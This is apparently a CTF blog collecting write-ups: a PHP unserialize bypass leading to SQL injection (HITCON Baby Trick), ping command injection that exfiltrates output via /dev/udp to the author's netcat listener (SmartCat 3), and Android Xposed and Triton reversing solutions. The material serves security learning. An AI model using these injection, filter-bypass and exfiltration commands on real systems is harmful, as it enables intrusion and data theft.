Hitcon 2016 – Baby Trick


This week-end was the hitcon CTF.

A lot of interesting challenges. I will explain how we succeed to flag the Baby Trick.

To start, we got a link:

We can see the source code.



include "config.php";

class HITCON{
    private $method;
    private $args;
    private $conn;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;


    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("Nobody Nobody But You!");

    function login() {
        global $FLAG;

        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");

        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");

    function source() {

    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);

            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);

        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");

    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);

    function __die($msg) {

        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );

    function __close() {

    function __destruct() {

        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");


    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));

if(isset($_GET["data"])) {
} else {
    new HITCON("source", array());


Ho! A “unserialize()”… This is going to be interesting 🙂

What will be the idea to solve this challenge?

  1. Find a way to have a sql injection and get the admin password
  2. username “orange” is filtered, maybe we have something useful in the DB…
  3. If 2. fails, find a way to give “orange” to mysql but something else to php (huh?)

Let’s go!

We know that php call __wakeup on the object it deserializes.

We have two interesting methods in the code: login() and show().
I m sure you noticed that __wakeup sanitizes inputs, so we can’t do sql injection.
But wait… then why login() sanitizes again inputs? And why not show()?

Is there a possibility we can bypass __wakeup?

After a long and complicated search on google (first link on https://www.google.fr/#q=bypass+__wakeup) we learned that it is possible to bypass __wakeup!

They even give a POC:


class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    function unserialize($data) {
        $this->data = unserialize($data);

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);
echo $data[1];


I let you read the details about this bug.

Now we have to adapt the POC to our challenge.
We are going to set the object Exception to the __conn private variable.
Of course we setup and test the challenge on a local web server to know if it was working.
The payload working was:


With this specific payload, the __destruct method was called but not the __wakeup, meaning our inputs were not sanitized! Yay, we have a sql injection!

Where? In the show() method. login() sanitizes its input independently, so we can not inject in this method 🙁
So let’s get the password of orange!
I will not explain to you how a sql Injection works, so the payload working to get the password was:


bla’ union select password,username,password from users where username=’orange’– –


We received the result:

{"msg":"babytrick1234 is babytrick1234"}

Yay! We even got twice the password! 🙂

Unfortunately there was nothing more in the database except another user that was not admin 🙁

Now we have the correct payload:


But of course orange was filtered… damn we though we did the hard part…

{"msg":"Orange is so shy. He do not want to see you."}


We spend some times searching a way to find a way bypassing php checks.
Then we focused on this line:

mysql_query("SET names utf8");

We can read on the web that php is not UTF-8 (https://security.stackexchange.com/questions/9908/multibyte-character-exploits-php-mysql) and has some problems handling it.

So what if we can give to mysql the string “orange” but another string to php such as it bypass the follwing checks:

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
    $this->__die("Orange is so shy. He do not want to see you.");

After a lot of internet reading, some guess, local testing and some miracle inspiration we found it.

What if we replace the “a” of “orange” by a utf8 character?

For example let’s replace it by Ã.


Damn! We got a blank page… why it doesn’t like my payload? Everything is correct… So let’s try to fix it!

As “orÃnge” is not really appreciated by php, maybe he needs to read more bytes from it…
So instead of


Let’s try


Which give us the payload


And the result:

{"msg":"Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn't it?}"}

Yay! We got the flag! finally… 🙂


This challenge was really interesting and I learn some new stuff, so it was definitely a great challenge! Thanks guys!


Insomni’hack 2016 – SmartCat 3

Category: Misc Author: awe Difficulty: Medium Description:

This is a follow-up to our smartcat challenge at the Insomni’hack Teaser. Get a shell to obtain the flag!

URL: http://smartcat3.insomni.hack/cgi-bin/ping.cgi

Last week-end was Insomni’hack CTF in Geneva.

A lot of various challenges and interesting one as usual.

Maybe you remember SmartCat challenges from the teaser (https://github.com/ctfs/write-ups-2016/tree/master/insomnihack-teaser-2016/web/smartcat1-50 for example).
The idea is that you have an input text where you can ping an address.

In our case, the script behind is python and is executing “ping $var” with bash.

The source code was available and we could see that some chars were forbidden:
`$|&*; and the space.  (Maybe I forgot some, sorry forgot to take a screenshot / copy of the code)

Another trick was that all port were closed except the DNS port (udp 53).

So the idea was to execute our command, but we couldn’t have reverse shell (at least at the beginning).

So what we need is:
1) Find a way to execute our command
2) Get the result of the command
3) Find a way to execute command without spaces
4) find the flag

  1. To execute our command line after the ping we can use redirection:

    You can try this, it will execute your `ls` command. So now we can execute our arbitrary command. Unfortunately the space char was not allowed… but for now let’s think about getting the result.

  2. Only UDP protocol on port 53 is allowed and we cannot have space in our command. We can with netcat listen to udp port, so let’s do it on our own server:
nc -l -u -p 53 -v

Now we are ready to receive our result. Now we should ask the smartcat server to send us the result:>(ls>/dev/udp/

Yay! We got our result on our server, we can see there is one “index.cgi” file. Unfortunately no sign of the flag. We should probably list / directory. But without space?

3. Ok now we can execute our code and get the result. But without space we cannot list root directory. We spend a lot of time trying to find other command like find, ls, dir that accept stdin as directory but we couldn’t find any.

After some time, I was lucky to find this blog explaining how to exploit bash without space:
We can use brace to execute our arbitrary command with space!

# {echo,bonjour}

Great! We have full control one the server… or almost…

4.  Now let’s see the root folder:>({ls,/}>/dev/udp/

Sorry I didn’t take screenshot but we had two interesting files: One file called “flag”, not readable by our user and one read_flag, executable by us.

So we execute the /read_flag command and get the flag!!! 😀>(/read_flag>/dev/udp/

Then we received:

Almost there… just trying to make sure you can execute arbitrary commands…. Write ‘Give me a…’ on my stdin, wait 2 seconds, and then write ‘… flag!’. Do not include the quotes. Each part is a different line.

Wait… whaaaaaaaaaaaat?
Damn we have to give

echo "Give me a..."
sleep 2
echo "... flag!"

as stdin of read_flag. But we still have forbidden chars like | and ;

Almost there… We did it in some special way, I think there was an easier way to do it, maybe even a kind-of-reverse-udp-shell but we did our first best idea:
1) Write into a file (/tmp/bla3) the 3 commands we need
2) Encode the `sh /tmp/bla3|/read_flag` with base64
3) Get the flag!

  1.  I agree, this solution is not the most graceful and beautiful one.. but whatever!>({echo,"echo","Give","me","a..."}>/tmp/bla3)>({echo,"sleep","2"}>/tmp/bla1)>({echo,"echo","...","flag!"}>/tmp/bla2)>({cat,"/tmp/bla1","/tmp/bla2"}>>/tmp/bla3)
  2. Now let’s write our magic command with forbidden chars in a file /tmp/bla5>({base64,"--decode"}<<<"c2ggL3RtcC9ibGEzfC9yZWFkX2ZsYWc=">/tmp/bla5)
  3. Now we just have to execute our /tmp/bla5 file and it will execute our file and give it as stdin to our /read_flag program!>({sh,/tmp/bla5}>/dev/udp/

    After 2 seconds (the sleep command) we received finally the flag!
    Of course I didn’t save the flag… so you will have to trust me 🙂

The challenge was interesting and I think that once you can execute command with space you are able to run a nc to execute command coming from the network even with udp protocol.


Seccon – Reverse-Engineering Android APK 1


This weekend was the seccon CTF with some android challenge.

I will show you how to do easily the first one and hopefully the other one if I have time.

First you should have the rps.apk file. (Link to come when put on github 🙂

Second, you need your environment set

  • Genymotion (Android emulator). Any other should work too.
  • Jd-gui (read .jar source code)
  • XPosed framework
  • Android visual studio


As usual we decompile our apk with jd-guito get some nice java code.

# d2j-dex2jar rps.apk

We have only one interesting class, MainActivity.

We have one method showMessageTask that will show our flag.Screen Shot 2015-12-07 at 14.06.37

The flag will have the format:

"SECCON{" + String.valueOf(107 * (this.cnt + this.calc())) + "}"

We know that this.cnt should be equal to 1000. We only have this.calc() that is missing.

Let’s check where it is defined.

Screen Shot 2015-12-07 at 14.06.43

Ho…. a native library… this means it is probably in a .so file with C code…
I don’t like to mix code so we will not bother reversing this .so code… we will just call him when needed. Thanks Xposed!

Now let’s run our android studio and get our module read to be implement.

So for this challenge what would be the logic in order to find the flag?

We don’t really care about this.cnt because we know it will be 1000 when computing the flag. We have one expression to evaluate inside Xposed:

"SECCON{" + String.valueOf(107 * (this.cnt + this.calc())) + "}"

To do that I hooked the method “onCreate”. This means that this method will be replaced with mine when the app is running.

The idea is to evaluate this expression and print it in Xposed logs.

private static final String MAIN_ACTIVITY_CLASS = "com.example.seccon2015.rock_paper_scissors.MainActivity";
    public void handleLoadPackage(final XC_LoadPackage.LoadPackageParam lpparam) throws Throwable{
        if(lpparam.packageName.equals("com.example.seccon2015.rock_paper_scissors")) {

            XposedBridge.log("Loaded App: " + lpparam.packageName);

            XposedHelpers.findAndHookMethod(MAIN_ACTIVITY_CLASS, lpparam.classLoader, "onCreate", Bundle.class, new XC_MethodHook() {
                protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                    Method calc = XposedHelpers.findMethodBestMatch(param.thisObject.getClass(), "calc");
                    int resultKey = (int) calc.invoke(param.thisObject);
                    XposedBridge.log("SECCON{" + String.valueOf(107 * (1000 + resultKey)) + "}");




Here we hook the method “onCreate” in “com.example.seccon2015.rock_paper_scissors.MainActivity” class.

We find a method name “calc” in our class and invoke it to get the result. We do not need to know what is inside this method because we just call it.

Then we print in Xposed log the flag with all our variables replaced.

Let’s deploy our module in our genymotion emulator, enable it and run the application.

Just after running it you can check in the Xposed logs and surprise:

Screen Shot 2015-12-07 at 14.15.54


Enjoy 🙂

MicroTrend – Android – VirusClicker


I recently discover Xposed, a great framework to hook methods in android application. You don’t even need to modify / recompile /sign the apk.

So I wanted to see how we can use this framework to solve CTF challenges. I tried it with MicroTrend Virusclicker challenge and it was successful.

To do it you need:

  • Genymotion (Android emulator). Any other should work too.
  • Jd-gui (read .jar source code)
  • XPosed framework
  • Android visual studio


I will not go through the full process to setup this environment. Sorry 😛

You can download the APK from github.

As usual with a .apk we are going to transform it to a jar:

$ d2j-dex2jar VirusClicker.apk
dex2jar VirusClicker.apk -> VirusClicker-dex2jar.jar
public class Bypass implements IXposedHookLoadPackage {

    public static int i = 0;
    public static int j = 0;
    public static boolean doit=true;
    public static  Timer timer;
    public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable{
        if(lpparam.packageName.equals("com.tm.ctf.clicker")) {

            XposedBridge.log("Loaded App: " + lpparam.packageName);

            XposedHelpers.findAndHookMethod("com.tm.ctf.clicker.activity.c", lpparam.classLoader, "onTouchEvent", MotionEvent.class, new XC_MethodHook() {

                protected void afterHookedMethod(final MethodHookParam param) throws Throwable {
                    if(timer==null) {
                        timer = new Timer();

                    final Object object = param.thisObject;
                    if(i>10000000) {

                    if(doit) {
                            doit = false;
                        for(int j=0;j<1000;j++) {
                            timer.scheduleAtFixedRate(new TimerTask() {
                                public void run() {
                                    // Obtain MotionEvent object
                                    long downTime = SystemClock.uptimeMillis();
                                    long eventTime = SystemClock.uptimeMillis() + 1;
                                    float x = 5.0f;
                                    float y = 5.0f;
// List of meta states found here: developer.android.com/reference/android/view/KeyEvent.html#getMetaState()
                                    int metaState = 0;
                                    MotionEvent motionEvent = MotionEvent.obtain(

                                    XposedHelpers.callMethod(object, "dispatchTouchEvent", motionEvent);
                            }, 0, 1);




So what are we doing here?

We put a “afterHookMethod” on a method called onTouchEvent in a specific class. So once the method will finish its work, we will get our code called with the same arguments of the method (we are not using them in this case).

The method onTouchEvent looks like that:

public boolean onTouchEvent(MotionEvent paramMotionEvent)
   switch (paramMotionEvent.getAction())
     return true;
     this.h = true;
     return true;
     this.h = false;
     this.g = (1 + this.g);
     if ((3769 == this.g) || (10007 == this.g) || (59239 == this.g) || (100003 == this.g) || (495221 == this.g) || (1000003 == this.g) || (9999999 == this.g))
       Intent localIntent = new Intent("com.tm.ctf.clicker.SCORE");
       localIntent.putExtra("SCORE", this.g);
   } while (10000000 > this.g);
   Message localMessage = Message.obtain();
   localMessage.obj = (this.q + "Jh");
   return true;

Nothing special for the moment. It increments the counter (this.g), that’s it (for the moment…)!


Now let’s run our application in Genymotion with our new Xposed Framework and see what’s going on…

It goes quick fast and click automatically, it’s great!

Ho… but wait… I got 10’000 click in 30 seconds… so I need to be quite patient to reach 10’000’000 clicks… :-/

So let’s try to read a little bit more the code and see if there isn’t another solution…

In the method onTouchEvent we see that the code is doing special process for some values of the counter. We can then suppose that we have to go through this numbers.

What happen if we go only through this number? It would be quite easy and we would need only 7 clicks.

Another great thing with Xposed is that we can set value of a variable inside a class. So we could set the value of g to our values (minus one since it is incremented in the method).

First thing, we will define an array of integer with our number inside.

public static Integer[] list = new Integer[]{0, 3768,10006, 59238,100002, 495220, 1000002, 9999998,9999999,10000000};

I will explain later why we need the 0 and the 10000000 at the end. Don’t forget to remove the previous hook method by the way…

Now let’s add a hook before our method that set g.

XposedHelpers.findAndHookMethod("com.tm.ctf.clicker.activity.c", lpparam.classLoader, "onTouchEvent", MotionEvent.class, new XC_MethodHook() {

                protected void beforeHookedMethod(MethodHookParam param) throws Throwable {

                    MotionEvent me = (MotionEvent) param.args[0];
                    if(me.getAction()==MotionEvent.ACTION_UP) {
                        XposedBridge.log("Before hooking, set g = " + list[i]);

                        XposedHelpers.setIntField(param.thisObject, "g", list[i]);




If you run your module like that, your application will close after one click.

Why? Because there is a check in the Constructor of the class:

if (this.g != a.c())
      Message localMessage = Message.obtain();
      localMessage.obj = "QUIT";

So if the g variable is not equal to a.c(), it quits. a.c() read inside SharedPreferences and return a value. This value is incremented in the onTouchEvent method with a.b();

So what can we do?
Exactly! We can replace our method so we control what it returns!
We should return the element inside the list.

XposedHelpers.findAndHookMethod("com.tm.ctf.clicker.a.a", lpparam.classLoader, "c", new XC_MethodReplacement() {
                    protected Object replaceHookedMethod(MethodHookParam methodHookParam) throws Throwable {
                        XposedBridge.log("Returning " + list[i]);
                        return list[i];


It is really not complicated right? We wrote 8 lines of code, 2 are logs…

Now you can run your application. You understand now why you need the 0 at the beginning (a.c() should return 0 at the start) and the 10000000 at the end (it should be equal to this number in “CongratulationsActivity”).

Hope you enjoyed this write up and that it will give you idea for your next CTF!


Write-ups ASIS Final – Fake with Triton

Fake, 150 pts

Get the binary from github.

We will use Triton to do this challenge.

Triton uses PinTools and Z3 to help resolving reverse challenges.

If you have never used Triton, do it ASAP because it is a great tool that use symbolic execution.

Let’s get back to our binary.

When we run it we have nothing displayed.

If we put some string as arguments it doesn’t show anything neither. If we try with numbers it display some encrypted string.

So let’s check in IDA what the code looks like:

Screen Shot 2015-10-13 at 16.54.17


It is not very sexy and very interesting to reverse. So let’s call Triton to help.

Triton is useful when you have some string that should be equal to another or have some equity to satisfy.

Here we don’t have anything like that. But we can guess that puts(&v5) will display the 5 variables declared and that it will display the flag.

We know that the flag start with “ASIS{“, which is 5 chars and our variable can contain 8.

We will use Triton (even through it is not really a complicated equation) to solve our problem.

So first we have to find two things:

Where is v5 set and v5 after all the computations done with it.

Screen Shot 2015-10-13 at 17.03.29

We can see at 0x4004AC that we put into r8 the number get from strol.

At 0x4004AF we have done the computation so we have the final value in RAX register.

So to summarize in our first equation we will have:

x = r8 (0x4004AC)

our equation should be equal to 0x???7b53495341 where ??? is our last unknown chars (and we will loop through one of it)

To do that with Triton:

from triton import *

import smt2lib
import os, sys
from elftools.elf.elffile import ELFFile

def syscallEntry(instruction):

    if 0x4004ac==instruction.getAddress():

    if 0x4004af==instruction.getAddress():
        symbolicId = getRegSymbolicID(IDREF.REG.RAX)

        raxExpr = getFullExpression(getSymExpr(symbolicId).getAst())
        for i in range(28,120):

            conditions =  list()
            conditions.append(smt2lib.smtAssert(smt2lib.bvugt(raxExpr, smt2lib.bv(32, 64))))
            conditions.append( smt2lib.smtAssert(smt2lib.equal(raxExpr, smt2lib.bv(int("0x"+str(i)+"7b53495341",16), 64))))
            expr = smt2lib.compound(conditions)

            model = getModel(expr)
                print {k: "0x%x, '%c'" % (v, chr(int(str(hex(v)).rstrip("0"),16))) for k, v in model.items()}
            except :
                print {k: "%s " % (str(hex(v)).rstrip("0")) for k, v in model.items()}

if __name__ == '__main__':
    with open(FILENAME, 'rb') as f:
        elffile = ELFFile(f)
        header = elffile.header
        print hex(header["e_entry"])

    # Start the symbolic analysis from the entry point

    # Add a callback.
    addCallback(syscallEntry, IDREF.CALLBACK.AFTER)

    # Run the instrumentation - Never returns

We will explain the important part:

if 0x4004ac==instruction.getAddress():

Here we define X_initial=R8 for the specific address. So Triton will know that it is our unknown value. (SymVar_0)

if 0x4004af==instruction.getAddress():
        symbolicId = getRegSymbolicID(IDREF.REG.RAX)

Then for the other address we will resolve the equation by saying that RAX is our X_final.

We loop through 28 to 120 to have some data for ?? value and we display result:

# triton fake.py ./fake 123
{'SymVar_0': '0xa4974e05e4d48cc7L '}
{'SymVar_0': '0x545d5505e4d48cc7 '}
{'SymVar_0': '0x22c78605e4d48cc7 '}
{'SymVar_0': '0xd28d8d05e4d48cc7L '}
{'SymVar_0': '0x82539405e4d48cc7L '}
{'SymVar_0': '0x32199b05e4d48cc7 '}
{'SymVar_0': '0xe1dfa205e4d48cc7L '}
{'SymVar_0': '0x91a5a905e4d48cc7L '}
{'SymVar_0': '0x416bb005e4d48cc7 '}
{'SymVar_0': '0xf131b705e4d48cc7L '}
{'SymVar_0': '0xa0f7be05e4d48cc7L '}
{'SymVar_0': '0x50bdc505e4d48cc7 '}
{'SymVar_0': '0x1f27f605e4d48cc7 '}
{'SymVar_0': '0xceedfd05e4d48cc7L '}
{'SymVar_0': '0x7eb40405e4d48cc7 '}
{'SymVar_0': '0x2e7a0b05e4d48cc7 '}
{'SymVar_0': '0xde401205e4d48cc7L '}
{'SymVar_0': '0x8e061905e4d48cc7L '}
{'SymVar_0': '0x3dcc2005e4d48cc7 '}
{'SymVar_0': '0xed922705e4d48cc7L '}
{'SymVar_0': '0x9d582e05e4d48cc7L '}
{'SymVar_0': '0x4d1e3505e4d48cc7 '}
{'SymVar_0': '0x1b886605e4d48cc7 '}
{'SymVar_0': '0xcb4e6d05e4d48cc7L '}
{'SymVar_0': '0x7b147405e4d48cc7 '}
{'SymVar_0': '0x2ada7b05e4d48cc7 '}
{'SymVar_0': '0xdaa08205e4d48cc7L '}
{'SymVar_0': '0x8a668905e4d48cc7L '}
{'SymVar_0': '0x3a2c9005e4d48cc7 '}
{'SymVar_0': '0xe9f29705e4d48cc7L '}
{'SymVar_0': '0x99b89e05e4d48cc7L '}
{'SymVar_0': '0x497ea505e4d48cc7 '}
{'SymVar_0': '0x17e8d605e4d48cc7 '}
{'SymVar_0': '0xc7aedd05e4d48cc7L '}
{'SymVar_0': '0x7774e405e4d48cc7 '}
{'SymVar_0': '0x273aeb05e4d48cc7 '}
{'SymVar_0': '0xd700f205e4d48cc7L '}
{'SymVar_0': '0x86c6f905e4d48cc7L '}
{'SymVar_0': '0x368d0005e4d48cc7 '}
{'SymVar_0': '0xe6530705e4d48cc7L '}
{'SymVar_0': '0x96190e05e4d48cc7L '}
{'SymVar_0': '0x45df1505e4d48cc7 '}
{'SymVar_0': '0x14494605e4d48cc7 '}
{'SymVar_0': '0xc40f4d05e4d48cc7L '}
{'SymVar_0': '0x73d55405e4d48cc7 '}
{'SymVar_0': '0x239b5b05e4d48cc7 '}
{'SymVar_0': '0xd3616205e4d48cc7L '}
{'SymVar_0': '0x83276905e4d48cc7L '}
{'SymVar_0': '0x32ed7005e4d48cc7 '}
{'SymVar_0': '0xe2b37705e4d48cc7L '}
{'SymVar_0': '0x92797e05e4d48cc7L '}
{'SymVar_0': '0x423f8505e4d48cc7 '}
{'SymVar_0': '0x10a9b605e4d48cc7 '}
{'SymVar_0': '0xc06fbd05e4d48cc7L '}
{'SymVar_0': '0x7035c405e4d48cc7 '}
{'SymVar_0': '0x1ffbcb05e4d48cc7 '}
{'SymVar_0': '0xcfc1d205e4d48cc7L '}
{'SymVar_0': '0x7f87d905e4d48cc7 '}
{'SymVar_0': '0x2f4de005e4d48cc7 '}
{'SymVar_0': '0xdf13e705e4d48cc7L '}
{'SymVar_0': '0x8ed9ee05e4d48cc7L '}
{'SymVar_0': '0x3e9ff505e4d48cc7 '}
{'SymVar_0': '0xd0a2605e4d48cc7 '}
{'SymVar_0': '0xbcd02d05e4d48cc7L '}
{'SymVar_0': '0x6c963405e4d48cc7 '}
{'SymVar_0': '0x1c5c3b05e4d48cc7 '}
{'SymVar_0': '0xcc224205e4d48cc7L '}
{'SymVar_0': '0x7be84905e4d48cc7 '}
{'SymVar_0': '0x2bae5005e4d48cc7 '}
{'SymVar_0': '0xdb745705e4d48cc7L '}
{'SymVar_0': '0x8b3a5e05e4d48cc7L '}
{'SymVar_0': '0x3b006505e4d48cc7 '}
{'SymVar_0': '0xf3ad3605e4d48cc7L '}
{'SymVar_0': '0xa3733d05e4d48cc7L '}
{'SymVar_0': '0x53394405e4d48cc7 '}
{'SymVar_0': '0x2ff4b05e4d48cc7 '}
{'SymVar_0': '0xb2c55205e4d48cc7L '}
{'SymVar_0': '0x628b5905e4d48cc7 '}
{'SymVar_0': '0x12516005e4d48cc7 '}
{'SymVar_0': '0xc2176705e4d48cc7L '}
{'SymVar_0': '0x71dd6e05e4d48cc7 '}
{'SymVar_0': '0x21a37505e4d48cc7 '}
{'SymVar_0': '0xf00da605e4d48cc7L '}
{'SymVar_0': '0x9fd3ad05e4d48cc7L '}
{'SymVar_0': '0x4f99b405e4d48cc7 '}
{'SymVar_0': '0xff5fbb05e4d48cc7L '}
{'SymVar_0': '0xaf25c205e4d48cc7L '}
{'SymVar_0': '0x5eebc905e4d48cc7 '}
{'SymVar_0': '0xeb1d005e4d48cc7 '}
{'SymVar_0': '0xbe77d705e4d48cc7L '}
{'SymVar_0': '0x6e3dde05e4d48cc7 '}
{'SymVar_0': '0x1e03e505e4d48cc7 '}

We can see that we always have a static part : 0x05e4d48cc7

We can try to run the program with these argument to see what happens:

# ./fake `rax2 0x05e4d48cc7`

And you got the flag.

Triton was a bit overkill for this challenge, we could have done it clearly without it but it is still interesting to do it with Triton.

If we have to go through the other variables to find ascii result for example it would have been useful.

Write-ups DefCamp 2015 – r100 with triton

We were given a binary (downloadable from github).


Let’s run it:

$ ./r100.bin 
Enter the password: AAAAAA
Incorrect password!


We want to check the source code in IDA:

Screen Shot 2015-10-14 at 10.40.06


It doesn’t look really complicated but it is a perfect opportunity to have fun with Triton!

To use Triton we need to know two things:

  1. What is my X in the equation? (Obviously it is the input here…)
  2. Where should I need to solve the equation?

So let’s check the disassembly code for that. Below is the loop, where “pass” is our input.

Screen Shot 2015-10-14 at 10.34.57

We can see that our X will be at 0x400781 (RAX value right after the instruction).

Then we want to solve the equation at 0x40078b (you can do it before too, it’s not a static choice…)

So we will use the snapshot features of python to do the following steps:

  1. At 0x40072d (beginning of the loop) : Take a snapshot so we can come back here later and set i value
  2. At 0x400781 : Set RAX as my X in the equation
  3. At 0x40078b: Resolve my equation with Z3. If i < 12, restore the snapshot and increment i. Restoring the snapshot take us back to point 1)

Translating that into python with Triton:

from triton import *

import smt2lib
import os, sys
from elftools.elf.elffile import ELFFile

FILENAME = 'r100'

password  = ""

def callbackBefore(instruction):
    global password

    global i
    if instruction.getAddress()==0x40072d and isSnapshotEnabled()==False:
        print "[+] Take Snapshot"
    if instruction.getAddress()==0x40072d:
    if instruction.getAddress()==0x4007a7:
        print "[+]Password: %s" %(password)

def syscallEntry(instruction):
    global i
    global password

    if instruction.getAddress()==0x400781:

    if instruction.getAddress()==0x40078b:
        operandR = instruction.getOperands()[1]
        operandL = instruction.getOperands()[0]
        equalTo = 0x00

        symbolicId = getRegSymbolicID(operandL.getReg().getId())
        raxExpr = getFullExpression(getSymExpr(symbolicId).getAst())
        conditions =  list()
        conditions.append( smt2lib.smtAssert(smt2lib.equal(raxExpr, smt2lib.bv(equalTo, 64))))
        expr = smt2lib.compound(conditions)

        model = getModel(expr)
        print {k: "0x%x, '%c'" % (v, chr(int(str(hex(v)).rstrip("0"),16))) for k, v in model.items()
        for k, v in model.items():
            c = chr(int(str(hex(v)).rstrip("0"),16))
            print "[+] Adding %c to password" %(c)
            password += c
            i += 1
            if i<12:
                print "[+] Restore snapshot"

if __name__ == '__main__':
    with open(FILENAME, 'rb') as f:
        elffile = ELFFile(f)
        header = elffile.header

    # Start the symbolic analysis from the entry point

    # Add a callback.
    addCallback(syscallEntry, IDREF.CALLBACK.AFTER)
    addCallback(callbackBefore, IDREF.CALLBACK.BEFORE)

    # Run the instrumentation - Never returns

Let’s run it. One detail, we didn’t set a static value for our input so we need to manually give an input of at least 11 chars:


$ echo "11111111111111"|triton r100.blog.py ./r100
[+] Take Snapshot
{'SymVar_0': "0x43, 'C'"}
[+] Adding C to password
[+] Restore snapshot
{'SymVar_0': "0x6f, 'o'"}
[+] Adding o to password
[+] Restore snapshot
{'SymVar_0': "0x64, 'd'"}
[+] Adding d to password
[+] Restore snapshot
{'SymVar_0': "0x65, 'e'"}
[+] Adding e to password
[+] Restore snapshot
{'SymVar_0': "0x5f, '_'"}
[+] Adding _ to password
[+] Restore snapshot
{'SymVar_0': "0x54, 'T'"}
[+] Adding T to password
[+] Restore snapshot
{'SymVar_0': "0x61, 'a'"}
[+] Adding a to password
[+] Restore snapshot
{'SymVar_0': "0x6c, 'l'"}
[+] Adding l to password
[+] Restore snapshot
{'SymVar_0': "0x6b, 'k'"}
[+] Adding k to password
[+] Restore snapshot
{'SymVar_0': "0x65, 'e'"}
[+] Adding e to password
[+] Restore snapshot
{'SymVar_0': "0x72, 'r'"}
[+] Adding r to password
[+] Restore snapshot
{'SymVar_0': "0x73, 's'"}
[+] Adding s to password
[+]Password: Code_Talkers
Enter the password: Incorrect password!

$ echo "Code_Talkers" | ./r100
Enter the password: Nice!

We could do the script more specific and more “automatic” with the taint system of triton.

I will try to do that in another write-ups.